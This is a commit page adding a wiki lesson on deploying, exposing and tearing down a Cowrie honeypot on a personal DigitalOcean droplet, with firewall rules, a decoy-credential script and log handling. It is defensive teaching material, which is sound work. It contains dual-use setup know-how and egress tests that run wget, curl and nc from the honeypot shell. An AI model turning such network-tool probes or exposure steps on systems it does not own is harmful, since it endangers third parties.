Explorar o código

docs: honeypot Track 2, cloud sensor anatomy, a Cowrie weekend and reading the logs (#222)

Three lessons (7, 8, 9) for the own-account cloud Cowrie path, the DigitalOcean firewall precedence answer for #196, and tests. Squashed so no earlier commit carries a high-entropy sample password.

Refs #214

Co-authored-by: Claude Sonnet 5.5 <noreply@anthropic.com>
ChiefGyk3D hai 1 mes
pai
achega
53313d7e2b

+ 541 - 0
docs/wiki/Deception-and-Honeypots-Cloud-Cowrie-Weekend.md

@@ -0,0 +1,541 @@
+# Cloud Cowrie for a weekend: build it, run it, tear it down
+
+Lesson 8 of the [deception and honeypots track](Deception-and-Honeypots-Start-Here.md), the hands-on lesson of **track 2**. You run a small Cowrie honeypot on one cloud server in **your own account**, for a window you set before you start, and you delete it on the end date. A foundations side page to [Anatomy of a cloud honeypot](Deception-and-Honeypots-Cloud-Sensor-Anatomy.md) and [DigitalOcean network and firewalls](DigitalOcean-Network-and-Firewalls.md). Nothing in this repository deploys it: the lesson shows the steps and you run them. Next: [Read what arrived](Deception-and-Honeypots-Read-the-Sensor-Logs.md), lesson 9.
+
+> Unfamiliar word or acronym? The [Glossary](Glossary.md) defines it.
+
+> **Status: written from reading; the cloud and Cowrie steps were never run.** On **2026-10-22** the author read the Cowrie installation page, its default configuration and the DigitalOcean pages in the [claims register](#claims-register), and ran two things locally: the lure-file script (Python 3.13.5) and a syntax-only check of the firewall file in a throwaway network namespace (no packets, nothing exposed). **Every other command is est.** (not run): the `doctl` commands, the `ssh` and `scp` commands, everything on the server, and every PowerShell command. Cowrie was not installed or started by the author. Expect to hit a command that needs a small fix, and treat that as part of the exercise rather than a failure. The latest Cowrie release when read was 3.1.3 (2026-10-19).
+
+> **Prerequisites.** [Anatomy of a cloud honeypot](Deception-and-Honeypots-Cloud-Sensor-Anatomy.md) (lesson 7) with the plan on paper; [Deception safety and law](Deception-and-Honeypots-Safety-and-Law.md) (lesson 6) with a reviewer who answered "yes"; **the provider's written consent**; and a cloud account of your own that holds nothing else. You also need an SSH client and a key pair ([Hashing, encryption and keys](Hashing-Encryption-and-Keys.md) explains them), and optionally the provider's command-line tool, `doctl`. About 3 to 4 hours of your time (est.) plus the window you choose. **Cost: it uses your own provider bill.** The figure is below, before any step.
+
+## What you will be able to do
+
+- Write the teardown before you build, and use it.
+- Build a small server whose real SSH is on a port only you can reach, with a second firewall layer on the host, and outgoing traffic closed once it is built.
+- Install and configure Cowrie from its own documentation, run it as an unprivileged user, and put it on the ports visitors try.
+- Plant a honeytoken (a decoy credential in a decoy file) inside Cowrie's fake file system.
+- Run it for a stated window, pull the logs out over your management port, and delete everything.
+
+## The free theory path
+
+The theory path of track 2 is lesson 7, plus reading this page without running it. Lesson 9 also has a part that needs no cloud account at all: it reads invented sensor logs. If you do not want a bill, stop reading here and go on to lesson 9.
+
+## Cost first
+
+From [`docs/cost-prices.json`](https://github.com/ChiefGyk3D/Clouds-Against-Humanity/blob/main/docs/cost-prices.json) (retrieved 2026-10-21): the `s-1vcpu-1gb` droplet is **$6 a month**. This lesson uses that one droplet and nothing else: no log bucket (the $5 bucket in [`docs/cost.md`](https://github.com/ChiefGyk3D/Clouds-Against-Humanity/blob/main/docs/cost.md) is the design's option A and is not used here), no backups, no snapshots, no volumes, no reserved address. [Lesson 7](Deception-and-Honeypots-Cloud-Sensor-Anatomy.md#what-it-costs-and-what-is-not-a-cap) has the arithmetic: $6 is the most one such droplet costs in a month, and a 48-hour weekend is about $0.43 (est.). That figure is not a quote for your account. Region and size availability differ by account; this repository's cost page records a `422 Size is not available in this region` on a new account, so check yours with `doctl compute size list` before you pick.
+
+**You enforce the limit.** The provider's own page says a spend alert "is not a spending cap". Use all five layers from lesson 7. The two that matter most on the day are the end date and the destroy command, which you write next.
+
+## Teardown first
+
+Do not create anything until this section is on paper.
+
+| Item | What you write |
+|---|---|
+| End date and time | A real date, in your calendar, with an alarm. A weekend sensor ends on Monday morning, not "when I get to it". |
+| Who reads the abuse inbox | You, daily, until the droplet is deleted. |
+| Kill switch layer 1: stop attracting traffic | Remove the inbound rules for ports 22 and 23 (a one-minute action in the console). |
+| Kill switch layer 2: delete the server | Destroy the droplet. Do not rely on power-off: the provider's pricing page says a powered-off droplet is still billed. |
+| Kill switch layer 3: delete the rest | The firewalls, the access token you made for `doctl`, and any key made only for this. |
+| Triggers to use it **at once** | A message from the provider; any outgoing connection from the server that you did not expect; any sign of a path to anything else of yours; a spend alert; the end of the window; a published exploit for Cowrie. |
+| Proof | A listing of droplets, firewalls, snapshots, volumes and reserved addresses that shows none of them, and the billing page the next day. |
+
+The commands for layer 2 and 3 and for the proof (replace the IDs and names with yours; **est.**):
+
+```bash
+doctl compute droplet delete cowrie-lab --force
+doctl compute firewall list --format ID,Name
+doctl compute firewall delete FIREWALL_ID --force
+doctl compute droplet list
+doctl compute snapshot list
+doctl compute volume list
+doctl compute reserved-ip list
+```
+
+```powershell
+doctl compute droplet delete cowrie-lab --force
+doctl compute firewall list --format ID,Name
+doctl compute firewall delete FIREWALL_ID --force
+doctl compute droplet list
+doctl compute snapshot list
+doctl compute volume list
+doctl compute reserved-ip list
+```
+
+(`doctl` is the same program on every system, so the commands are the same in both shells. `--force` skips the confirmation prompt: with it, there is no second chance, which is the point on the end date.)
+
+**Exercise 0: write it.**
+
+**Predict.** How long will the teardown take on the end date? (The author's guess: five minutes if it is written down, fifty if it is not.)
+
+**Do.** Fill in the table, with your real end date, on one page. Run `doctl compute droplet list` once now, in your empty account, so you know what an empty listing looks like.
+
+**Check.** A reviewer can follow the page and delete everything without asking you anything.
+
+**Undo.** Nothing: it is paper.
+
+## The plan: addresses, ports and two firewalls
+
+The addresses below are documentation placeholders. In your shell you will use your own; never put them in a file you share.
+
+| Name | Placeholder | Meaning |
+|---|---|---|
+| `SENSOR` | `192.0.2.10` | The server's public address, which the provider shows you once it exists. |
+| `YOU` | `203.0.113.10` | **Your** public address, the only one allowed to reach the management port. Your router's status page shows it. It may change (most homes have a changing address): if it does you are locked out until you edit the firewall from your account console. |
+| `MGMT_PORT` | `49152` | The port real SSH moves to. Pick your own between 1024 and 65535, not 22, 23, 2222 or 2223. |
+
+Two firewalls, by tag, on the **cloud** side. The provider's pages (read 2026-10-22) say that when more than one firewall applies to a droplet, "the rules from every one of those firewalls are combined into a single set", that allow rules are additive, and that a firewall blocks "all traffic that isn't expressly permitted by a rule". That makes the second firewall easy to remove:
+
+| Firewall | Tag | Inbound | Outbound | When |
+|---|---|---|---|---|
+| `cowrie-lab-core` | `cowrie-lab-core` | TCP `MGMT_PORT` from `YOU/32` only; **later**, TCP 22 and 23 from anywhere | **none** | The whole life of the server |
+| `cowrie-lab-build` | `cowrie-lab-build` | TCP 22 from `YOU/32` only | TCP 80, 443 and 53, UDP 53 and 123, to anywhere | **Only while you install**; deleted before you expose anything |
+
+With no outgoing rule at all, the provider's page says no outgoing traffic is permitted. Your own connections in still work, because the firewall is stateful. IPv6 is off on a new droplet unless you turn it on (the provider's IPv6 page says droplets get IPv4 addresses by default), so these rules are written for IPv4 only; do not enable IPv6.
+
+On the **host**, the same story again in a file the server loads (guardrails 2, 3 and 6). `LEARNER_ADDR` and `MGMT_PORT` are placeholders you replace with `sed` in exercise 5:
+
+```nft
+#!/usr/sbin/nft -f
+# Host firewall for the sensor. Replace LEARNER_ADDR and MGMT_PORT before loading.
+# nat: a visitor's port 22 and 23 are redirected to the unprivileged ports Cowrie listens on.
+# filter: drop everything not listed; allow replies; allow nothing outgoing except replies.
+flush ruleset
+
+table ip nat {
+    chain prerouting {
+        type nat hook prerouting priority dstnat; policy accept;
+        tcp dport 22 redirect to :2222
+        tcp dport 23 redirect to :2223
+    }
+}
+
+table inet filter {
+    chain input {
+        type filter hook input priority filter; policy drop;
+        iif "lo" accept
+        ct state established,related accept
+        ip saddr LEARNER_ADDR tcp dport MGMT_PORT accept
+        tcp dport { 2222, 2223 } accept
+    }
+    chain forward {
+        type filter hook forward priority filter; policy drop;
+    }
+    chain output {
+        type filter hook output priority filter; policy drop;
+        oif "lo" accept
+        ct state established,related accept
+    }
+}
+```
+
+Why the input chain lists 2222 and 2223 and not 22 and 23: the redirect happens first (the "prerouting" step), so by the time the filter looks at a packet, its port has already been rewritten. The Cowrie installation page gives the same redirect as `nft add rule ip nat prerouting tcp dport 22 redirect to 2222` and warns that "these rules do not apply to loopback", so test from another machine. The page's one-line command assumes the table and chain already exist; the file above creates them.
+
+## Exercise 1: make the lure (a honeytoken)
+
+A **honeytoken** is a fake piece of data with no use except to be noticed when used ([What deception is](Deception-and-Honeypots-What-Deception-Is.md#the-vocabulary)). Cowrie's fake file system can hold a file that a visitor reads with `cat`. This script makes the file on **your** computer, with an invented user name and an invented password that exist nowhere. Nothing about it is real and nothing about it is a secret.
+
+```python
+# Builds the lure file for the sensor's fake filesystem. Everything is invented at run time:
+# the user name and the password are random and belong to no real system. Run:
+#   python3 -I make_lure.py
+import os, secrets
+
+user = "svc-backup-" + secrets.token_hex(3)
+password = secrets.token_urlsafe(12)
+os.makedirs("lure", exist_ok=True)
+with open("lure/deploy-notes-OLD.txt", "w") as f:
+    f.write(
+        "old backup login, do not use\n"
+        f"user: {user}\n"
+        f"password: {password}\n"
+    )
+print("built lure/deploy-notes-OLD.txt")
+```
+
+**Predict.** Run it twice. Will the two files have the same password?
+
+**Do.**
+
+```bash
+mkdir -p ~/deception-lab/cloud && cd ~/deception-lab/cloud
+python3 -I make_lure.py
+cat lure/deploy-notes-OLD.txt
+wc -c lure/deploy-notes-OLD.txt
+```
+
+```powershell
+New-Item -ItemType Directory -Force $HOME\deception-lab\cloud | Out-Null
+Set-Location $HOME\deception-lab\cloud
+py -3 -I make_lure.py
+Get-Content lure\deploy-notes-OLD.txt
+(Get-Item lure\deploy-notes-OLD.txt).Length
+```
+
+(Save the script as `make_lure.py` in that folder first.)
+
+**Check.** It prints `built lure/deploy-notes-OLD.txt`, then three lines: a title, a `user:` line with `svc-backup-` and six hex characters, and a `password:` line with a random string. The byte count is about 75 (you will need it in exercise 4). Run it again: the password differs, because it is built at run time and committed nowhere.
+
+**Undo.** `rm -r lure` (PowerShell: `Remove-Item -Recurse lure`).
+
+## Exercise 2: create the firewalls and the server
+
+Do this in your own account, after the consent and the teardown page. Two ways: the web console, or `doctl`. The console path is the one with screenshots to take yourself (placeholders below); the `doctl` path is shorter and is the one the commands use.
+
+*Screenshot to take yourself: the create-droplet page with the size, region, image and tags chosen. Blur your account name, address and key.*
+
+**Do.** With `doctl` (the console works too). First your token: create a personal access token in the console with only the permissions you use (est.), and give it to `doctl` with `doctl auth init`. Treat the token like a password and plan to delete it in teardown. Then:
+
+```bash
+YOU=203.0.113.10
+MGMT_PORT=49152
+doctl compute firewall create --name cowrie-lab-core --tag-names cowrie-lab-core \
+  --inbound-rules "protocol:tcp,ports:${MGMT_PORT},address:${YOU}/32"
+doctl compute firewall create --name cowrie-lab-build --tag-names cowrie-lab-build \
+  --inbound-rules "protocol:tcp,ports:22,address:${YOU}/32" \
+  --outbound-rules "protocol:tcp,ports:80,address:0.0.0.0/0 protocol:tcp,ports:443,address:0.0.0.0/0 protocol:tcp,ports:53,address:0.0.0.0/0 protocol:udp,ports:53,address:0.0.0.0/0 protocol:udp,ports:123,address:0.0.0.0/0"
+doctl compute image list-distribution
+doctl compute droplet create cowrie-lab --region tor1 --size s-1vcpu-1gb --image debian-12-x64 \
+  --ssh-keys YOUR_KEY_FINGERPRINT --tag-names cowrie-lab-core,cowrie-lab-build --wait
+```
+
+```powershell
+$You = "203.0.113.10"
+$MgmtPort = "49152"
+doctl compute firewall create --name cowrie-lab-core --tag-names cowrie-lab-core `
+  --inbound-rules "protocol:tcp,ports:$MgmtPort,address:$You/32"
+doctl compute firewall create --name cowrie-lab-build --tag-names cowrie-lab-build `
+  --inbound-rules "protocol:tcp,ports:22,address:$You/32" `
+  --outbound-rules "protocol:tcp,ports:80,address:0.0.0.0/0 protocol:tcp,ports:443,address:0.0.0.0/0 protocol:tcp,ports:53,address:0.0.0.0/0 protocol:udp,ports:53,address:0.0.0.0/0 protocol:udp,ports:123,address:0.0.0.0/0"
+doctl compute image list-distribution
+doctl compute droplet create cowrie-lab --region tor1 --size s-1vcpu-1gb --image debian-12-x64 `
+  --ssh-keys YOUR_KEY_FINGERPRINT --tag-names cowrie-lab-core,cowrie-lab-build --wait
+```
+
+Notes on the choices. **Debian 12** is the system the Cowrie installation page says it last verified on ("last verified on Debian Bookworm"); its Python is new enough, since Cowrie 3.1.3 needs 3.11 or newer. The image name `debian-12-x64` and the `tor1` region are **est.**: the `image list-distribution` command lists the names your account can use, and `doctl compute size list` the sizes. Use a region near you with the $6 size available. The flags used are the ones on the provider's `doctl` reference pages (read 2026-10-22). An open question on those pages: the "Configure Firewall Rules" page says `doctl` does not support a rule's `action` field and that deny rules need the API, while the `doctl` reference for `firewall create` documents an `action` key. This lesson uses no deny rule (everything not allowed is already denied), so it does not depend on the answer; if you want deny rules, test which page is right on a firewall that has nothing attached.
+
+**Predict.** Which of the two firewalls would you expect to let you reach the server by SSH on port 22 right now, and which would not?
+
+**Check.** `doctl compute droplet list --format Name,PublicIPv4,Tags` shows `cowrie-lab` with an address (that is `SENSOR`) and both tags. In the console, each firewall shows the rules in the table above and the droplet under "applied to". `ssh -o PasswordAuthentication=no root@SENSOR` works from your computer (only `YOU` is allowed). From any other network, port 22 does not answer (try a phone's hotspot; a timeout, not a refusal).
+
+**Undo.** The teardown commands.
+
+## Exercise 3: prepare the server
+
+The server is Linux, so every command in this exercise and the next three runs **on the server in Bash**; PowerShell has nothing to add except the `ssh` and `scp` lines on your own side, which are the same.
+
+**Do.** Log in as the administrator the image gives you (the provider's Debian image logs in as `root` with your key, est.) and do the housekeeping:
+
+```bash
+ssh root@SENSOR
+# on the server:
+apt-get update && apt-get -y upgrade
+apt-get -y install sudo nftables python3-venv python3-pip libssl-dev libffi-dev build-essential libpython3-dev
+adduser --disabled-password --gecos "" admin
+usermod -aG sudo admin
+echo 'admin ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/admin && chmod 440 /etc/sudoers.d/admin
+install -d -m 700 -o admin -g admin /home/admin/.ssh
+cp /root/.ssh/authorized_keys /home/admin/.ssh/authorized_keys
+chown admin:admin /home/admin/.ssh/authorized_keys
+adduser --disabled-password --gecos "" cowrie
+```
+
+The package list is the Cowrie installation page's Debian list (`python3-pip python3-venv libssl-dev libffi-dev build-essential libpython3-dev`), minus `authbind` (the redirect does that job), plus `sudo` and `nftables`. `NOPASSWD` sudo is a convenience that is acceptable only because the box holds nothing and only your key reaches it. The `cowrie` user has no password and no login key: it only runs the honeypot.
+
+Now move real SSH. Do it in this order, and **do not close your first session until the new one works**:
+
+```bash
+# still on the server, as root
+cat > /etc/ssh/sshd_config.d/10-lab.conf <<'EOF'
+Port 49152
+PermitRootLogin no
+PasswordAuthentication no
+KbdInteractiveAuthentication no
+AllowUsers admin
+EOF
+sshd -t && systemctl restart ssh
+ss -ltnp | grep sshd
+```
+
+(`49152` is `MGMT_PORT`; use yours. Debian 12's main SSH configuration includes the files in `/etc/ssh/sshd_config.d/`, est. Ubuntu has started SSH from a systemd socket since 22.10, and forum posts show a changed port surprising people, which is one reason this lesson uses Debian.) Then, from a **second** terminal on your computer:
+
+```bash
+ssh -p 49152 admin@SENSOR
+```
+
+```powershell
+ssh -p 49152 admin@SENSOR
+```
+
+**Predict.** After the restart, what does `ss -ltnp` show for SSH: port 22, port 49152, or both?
+
+**Check.** `ss` shows only `49152` for `sshd`. The second terminal logs you in as `admin`. `ssh root@SENSOR` (port 22) now fails: nothing is listening there. The cloud firewall rule for 22 from `YOU` is harmless but now pointless; it goes with the build firewall.
+
+**Undo.** If you are locked out, do not fight it: the server is disposable. Delete it and make a new one.
+
+## Exercise 4: install Cowrie, give it a fake home and a lure
+
+**Do.** Everything here follows the Cowrie [installation page](https://raw.githubusercontent.com/cowrie/cowrie/HEAD/INSTALL.rst), read on 2026-10-22. It recommends installing the published package into a virtual environment, and says Cowrie "refuses to start as root". **Pin the version** so a rebuild gets the same code. As the `cowrie` user:
+
+```bash
+sudo -iu cowrie
+mkdir ~/my-honeypot && cd ~/my-honeypot
+python3 -m venv cowrie-env
+source cowrie-env/bin/activate
+python -m pip install --upgrade pip
+python -m pip install "cowrie==3.1.3"
+cowrie init
+```
+
+`cowrie init` writes `etc/cowrie.cfg`, and the first `cowrie start` creates the log directories and the host keys. Cowrie reads built-in defaults first and then your `etc/cowrie.cfg`, so the file only needs the keys you change. Replace the file's contents with these (`hostname` is yours to choose: pick a plausible name that mentions nothing about honeypots, and nothing of yours):
+
+```ini
+[honeypot]
+hostname = web03
+download_limit_size = 1048576
+
+[ssh]
+forwarding = false
+
+[telnet]
+enabled = true
+
+[shell]
+filesystem = var/lib/cowrie/fs.pickle
+```
+
+`cowrie init` writes a template that probably already has these section headers (est.), and a config file normally may not repeat a section header (Python's config reader rejects it, est.). So **replace the whole file** with only the keys above: Cowrie layers its built-in defaults underneath, and the installation page says `etc/cowrie.cfg` "only needs to contain the keys you want to change". The `[shell]` line points Cowrie at the copy of the fake file system you make next; Cowrie will not start until that copy exists.
+
+What each line does, from the default configuration file (read 2026-10-22): `hostname` is the name in the visitor's shell prompt (the default is `svr04`); `download_limit_size` caps a stored file at 1 MiB (the default has no limit); `forwarding = false` turns off SSH direct-tcpip forwarding, which is on by default and which you do not want near an "open proxy" clause; and telnet is off by default, so `enabled = true` is what turns it on. Telnet adds exposure and visitors; leave it out if you want less.
+
+The fake home and the lure. Cowrie's `HONEYFS` documentation says a file the visitor can read needs both an entry in the fake file system and content for it. The installation page says the bundled file system is read-only for operators: copy it out, point Cowrie at the copy, and edit the copy with `fsctl`. Copy the lure from your computer first (the `scp` runs on **your** side):
+
+```bash
+scp -P 49152 -r lure admin@SENSOR:/tmp/lure
+```
+
+```powershell
+scp -P 49152 -r lure admin@SENSOR:/tmp/lure
+```
+
+On the server, as `cowrie` (still in `~/my-honeypot` with the environment active; the `cowrie` user has no `sudo`, so these commands use only its own files and the copy in `/tmp` that `scp` left readable):
+
+```bash
+mkdir -p /home/cowrie/lure
+cp /tmp/lure/deploy-notes-OLD.txt /home/cowrie/lure/
+python -c "from cowrie.core.resources import read_data_bytes; open('var/lib/cowrie/fs.pickle', 'wb').write(read_data_bytes('fs.pickle'))"
+SIZE=$(wc -c < /home/cowrie/lure/deploy-notes-OLD.txt)
+echo "$SIZE"
+fsctl var/lib/cowrie/fs.pickle
+```
+
+At the `fs.pickle:/$` prompt (the pattern is the one in Cowrie's FAQ; use the byte count `SIZE` printed above):
+
+```text
+touch /home/phil/deploy-notes-OLD.txt SIZE
+chown 1000:1000 /home/phil/deploy-notes-OLD.txt
+load /home/phil/deploy-notes-OLD.txt /home/cowrie/lure/deploy-notes-OLD.txt
+exit
+```
+
+The fake user `phil` is Cowrie's default account (the FAQ says "Having the same user always available is an easy way to identify Cowrie"). Lesson 9 comes back to that: for now, the lure lives where the default visitor lands. Start it and test **from the server itself**, using the port Cowrie listens on (the redirect does not apply on the same machine):
+
+```bash
+cowrie start
+cowrie status
+exit    # back to admin
+ssh -p 2222 -o PubkeyAuthentication=no -o PreferredAuthentications=password root@localhost
+```
+
+At the password prompt type any short invented word (not `root`, not `123456`, and nothing containing "honeypot"). Cowrie's built-in login list, read in its source on 2026-10-22, accepts the user `root` with any password except `root`, `123456` and anything containing "honeypot", and the user `phil` with any password; a different list can go in `etc/userdb.txt`. Inside, run `uname -a`, `cat /home/phil/deploy-notes-OLD.txt` and `exit`. The options on that `ssh` line stop your own client from offering your real keys to the imitation: a key offered to a honeypot is a key written in its log.
+
+**Predict.** Will the `cat` show your lure file's text? And what do you expect `uname -a` to claim?
+
+**Check.** `cowrie status` says it is running. The `cat` prints the three lines from your file. `uname -a` prints the kernel text from Cowrie's configuration (`6.1.0-21-amd64` by default, est. since the file may differ per release), not the real kernel. `~/my-honeypot/var/log/cowrie/cowrie.json` now has lines for your own visit, from `127.0.0.1`: look at it with `tail -n 3` (lesson 9 teaches reading it).
+
+**Undo.** `cowrie stop` as the `cowrie` user.
+
+## Exercise 5: lock it down, then close the outgoing door
+
+This is the point of no return for safety, so it is slow on purpose.
+
+**Do.** Step 1, write the host firewall with your values, check it, and set a safety net. As `admin`:
+
+```bash
+sudo nano /etc/nftables.conf      # paste the file from the plan section above, then save
+sudo sed -i 's/LEARNER_ADDR/203.0.113.10/; s/MGMT_PORT/49152/' /etc/nftables.conf
+sudo nft -c -f /etc/nftables.conf && echo SYNTAX_OK
+sudo systemd-run --on-active=5m --unit=nft-revert nft flush ruleset
+sudo nft -f /etc/nftables.conf
+```
+
+Use your own address and port in the `sed` line. `nft -c` only checks the file. The `systemd-run` line schedules a flush five minutes from now, so if you load a rule that locks you out, the box opens again by itself (est.; the cloud firewall still guards it). Now, from a **new** terminal on your computer, run `ssh -p 49152 admin@SENSOR`. If it works, cancel the net and keep the rules for a reboot:
+
+```bash
+sudo systemctl stop nft-revert.timer
+sudo systemctl enable nftables
+```
+
+**2. Delete the build firewall.** This closes the outgoing door at the provider's layer. On your computer:
+
+```bash
+doctl compute firewall list --format ID,Name
+doctl compute firewall delete BUILD_FIREWALL_ID --force
+```
+
+```powershell
+doctl compute firewall list --format ID,Name
+doctl compute firewall delete BUILD_FIREWALL_ID --force
+```
+
+**3. End the old connections, then prove nothing leaves.** Rule changes do not end connections that already exist: the host rules accept replies on established flows, and the provider's limits page says adding firewall rules "does not terminate existing connections" (assume the same for deleting them until you test). So restart the server, which also proves the host rules load at boot, log in again on the management port, and start Cowrie again as in exercise 4. On the server, as `admin`:
+
+```bash
+sudo systemctl reboot
+# wait a minute, then log in again:  ssh -p 49152 admin@SENSOR
+```
+
+Then the test:
+
+```bash
+curl -m 5 -sS https://example.com -o /dev/null; echo "exit=$?"
+```
+
+**Predict.** What exit code?
+
+**Check.** `curl` fails: the error says a timeout or that it could not resolve the name, and `exit=` is not `0` (typically `6` or `28`; the number is curl's, est.). If you get `0`, **stop**: something still allows traffic out. Fix it before you go on.
+
+**Undo.** `sudo nft flush ruleset` opens the host layer (the cloud layer is the firewalls). If you flush it to debug, **reload it before exercise 6** with `sudo nft -f /etc/nftables.conf`, then check with `sudo nft list ruleset | grep -c 'policy drop'` (it should print `3`: input, forward and output).
+
+## Exercise 6: open the lure ports and run the window
+
+**Predict.** How long until the first visitor that is not you? Write a number down now, before you open anything.
+
+**Do.** Now, and only now, expose it. Check the list once more: consent in writing, the end date on the calendar, the abuse inbox in front of you, the outgoing test just failed. Note the time:
+
+```bash
+date -u +%Y-%m-%dT%H:%M:%SZ
+```
+
+```powershell
+(Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
+```
+
+Write it down: it is `T_open`. Then open ports 22 and 23 to everyone on the core firewall (the console has an "add inbound rule" button; here is `doctl`):
+
+```bash
+doctl compute firewall add-rules CORE_FIREWALL_ID \
+  --inbound-rules "protocol:tcp,ports:22,address:0.0.0.0/0 protocol:tcp,ports:23,address:0.0.0.0/0"
+```
+
+```powershell
+doctl compute firewall add-rules CORE_FIREWALL_ID `
+  --inbound-rules "protocol:tcp,ports:22,address:0.0.0.0/0 protocol:tcp,ports:23,address:0.0.0.0/0"
+```
+
+If the server was restarted since exercise 4, start Cowrie again as the `cowrie` user (`cd ~/my-honeypot && source cowrie-env/bin/activate && cowrie start`); it does not start by itself, and that is a safe way to fail.
+
+**Test from another machine** (the redirect does not apply to the server's own loopback): from a network that is not the one allowed on the management port, or from your own computer's `ssh`, with keys disabled:
+
+```bash
+ssh -o PubkeyAuthentication=no -o PreferredAuthentications=password -p 22 root@SENSOR
+```
+
+Any short invented password will log in (see exercise 4). Do not use a password you use anywhere. Type `exit`. Your own visit is in the log too; lesson 9 shows how to leave it out of the count.
+
+**While it runs, do three things each day, and nothing else:** read the abuse inbox; look at the billing page against your arithmetic; log in on the management port and run `sudo -iu cowrie bash -c 'cd my-honeypot && source cowrie-env/bin/activate && cowrie status'` (the `cowrie` command lives in the `cowrie` user's environment, not on `admin`'s path). Do not "improve" the box while it is exposed: a change is a rebuild. And do not look back at any address that appears in the log: no scan, no login attempt, no report by script.
+
+*Screenshot to take yourself: the billing usage page after day one. Blur everything that identifies the account.*
+
+**Check.** Within hours (est.; the ISC's own FAQ says even a home connection sees "several attacks a day"), the log has connection events from addresses you do not know. Your **time to first attempt** is the earliest `cowrie.session.connect` that is not yours, minus `T_open`. Write the number down.
+
+**Undo.** Layer 1 of the kill switch: remove the two inbound rules for 22 and 23.
+
+## Exercise 7: pull the logs, then tear down
+
+**Predict.** What will the teardown listings show if it worked, and what could still be billing that they do not list?
+
+**Do.** Pull the logs out **before** you delete the server, over the management port, and delete the copies on the server. As `admin` on the server first:
+
+```bash
+sudo -u cowrie ls -l /home/cowrie/my-honeypot/var/log/cowrie
+sudo tar -C /home/cowrie/my-honeypot/var/log -czf /home/admin/cowrie-logs.tgz cowrie
+```
+
+Then on your computer:
+
+```bash
+scp -P 49152 admin@SENSOR:/home/admin/cowrie-logs.tgz .
+tar -xzf cowrie-logs.tgz
+ls cowrie
+```
+
+```powershell
+scp -P 49152 admin@SENSOR:/home/admin/cowrie-logs.tgz .
+tar -xzf cowrie-logs.tgz
+Get-ChildItem cowrie
+```
+
+By default Cowrie rotates its logs at midnight (the default configuration sets `logtype = rotating`), so you may see dated files next to `cowrie.json`; copy the whole directory, as above, rather than one file. The logs are the raw material of lesson 9. They hold other people's addresses and the passwords they typed, so **they stay on your computer and are never posted** ([lesson 6](Deception-and-Honeypots-Safety-and-Law.md#recording-people-who-did-not-agree)); delete them when you finish, or within a retention you chose in advance (the design proposes 30 days for raw logs, an estimate and not a legal rule).
+
+Then run the teardown from the top of this page. Do not stop at the droplet:
+
+```bash
+doctl compute droplet delete cowrie-lab --force
+doctl compute firewall delete CORE_FIREWALL_ID --force
+doctl compute droplet list
+doctl compute firewall list
+doctl compute snapshot list
+doctl compute volume list
+doctl compute reserved-ip list
+```
+
+**Check.** Every listing is empty. Delete the API token you created for `doctl` in the console, and any SSH key made only for this. Look at the billing page the next day: usage for the droplet should have stopped.
+
+**Undo.** There is no undo for a destroyed droplet, which is what you wanted.
+
+## Build, break, detect, evade, defend
+
+- **Build.** The server, the two firewalls, the host rules, Cowrie, the lure.
+- **Break.** Attack your own plan from the inside: with `ssh -p 22` from another network, try `wget`, `curl http://example.com`, `nc` and `ping` inside the Cowrie shell. Cowrie's `wget` imitation tries a real outgoing connection; with both firewalls closed it should fail, and the log should still record the attempt (the output documentation defines `cowrie.session.file_download.failed` for "a download the attacker attempted did not complete"; that it appears with a closed network is **est.**). Then, from the real shell, try the same `curl` as in exercise 5. Both should fail.
+- **Detect.** What tells you something is wrong: a session from your management port you did not make (`last` on the server), a process other than Cowrie and `sshd` listening (`ss -ltnp`), any outgoing connection (`ss -tnp` should show only your session), a spend alert, a provider message. Write which you will check each day.
+- **Evade.** What a visitor who wants to be sure it is a honeypot does, and what one who wants out of it does: that is lesson 9's [flip-the-board](Deception-and-Honeypots-Read-the-Sensor-Logs.md#flip-the-board-how-a-visitor-spots-cowrie-and-how-you-harden-it) section. For the escape case, write down what would happen if a visitor got a real shell as the `cowrie` user, step by step: what is on the box, what can they reach, what does the provider see?
+- **Defend.** The nine guardrails of lesson 7 as controls: separate account, management port from your address only, only 22 and 23 open, nothing real, no route, no outgoing, a pull, a written teardown, a spend limit you enforce.
+- **Flip the board.** You are the visitor. You have a root login on an unfamiliar machine and you are in a hurry. What is the first thing you run to decide if you are in a real machine, and which line of this lesson's configuration makes your test pass or fail? (The answer is in lesson 9. Write your guess first.)
+
+## Common mistakes
+
+| Mistake | Why it hurts | Better |
+|---|---|---|
+| Loading the host firewall before testing the management rule. | Lock-out, and you pay to rebuild. | Check with `nft -c`, keep the five-minute revert, test from a second terminal. |
+| Opening 22 and 23 while the build firewall still allows outgoing traffic. | A taken-over sensor can attack others. | Delete the build firewall and prove with `curl` that nothing leaves. |
+| Offering your own SSH keys to your own honeypot. | A key offered to a honeypot is written into its log. | `-o PubkeyAuthentication=no` every time. |
+| Forgetting the end date. | A sensor left running is a bill and a hazard. | The alarm, the teardown commands, the daily check. |
+| Powering the server off instead of deleting it. | A powered-off droplet is still billed. | Destroy it. |
+| Publishing raw logs "for science". | Other people's addresses and passwords go public. | Counts and examples with addresses and passwords removed. |
+
+## Claims register
+
+Retrieved 2026-10-22 unless stated.
+
+| Claim | Source | Status |
+|---|---|---|
+| Install steps, pip install into a virtual environment, `cowrie init`, `cowrie start`; "Cowrie refuses to start as root"; SSH defaults to port 2222; the nft redirect and the loopback warning; copying `fs.pickle` out and editing it with `fsctl`; Debian package list; "last verified on Debian Bookworm" | [Cowrie INSTALL.rst](https://raw.githubusercontent.com/cowrie/cowrie/HEAD/INSTALL.rst) | Read. Not run |
+| Latest release 3.1.3 (2026-10-19); needs Python 3.11 or newer | [GitHub release](https://github.com/cowrie/cowrie/releases/tag/v3.1.3), [PyPI metadata](https://pypi.org/pypi/cowrie/json), [pyproject.toml at v3.1.3](https://raw.githubusercontent.com/cowrie/cowrie/v3.1.3/pyproject.toml) | Read |
+| Default `hostname` `svr04`; telnet off by default; SSH port 2222 and telnet 2223; `forwarding = true` by default; `download_limit_size` unlimited by default; JSON log on by default at `var/log/cowrie/cowrie.json`; `logtype = rotating` by default | [Cowrie default configuration](https://raw.githubusercontent.com/cowrie/cowrie/HEAD/src/cowrie/data/etc/cowrie.cfg.dist) | Read, on the default branch (newer than 3.1.3 by an unknown amount). Not run |
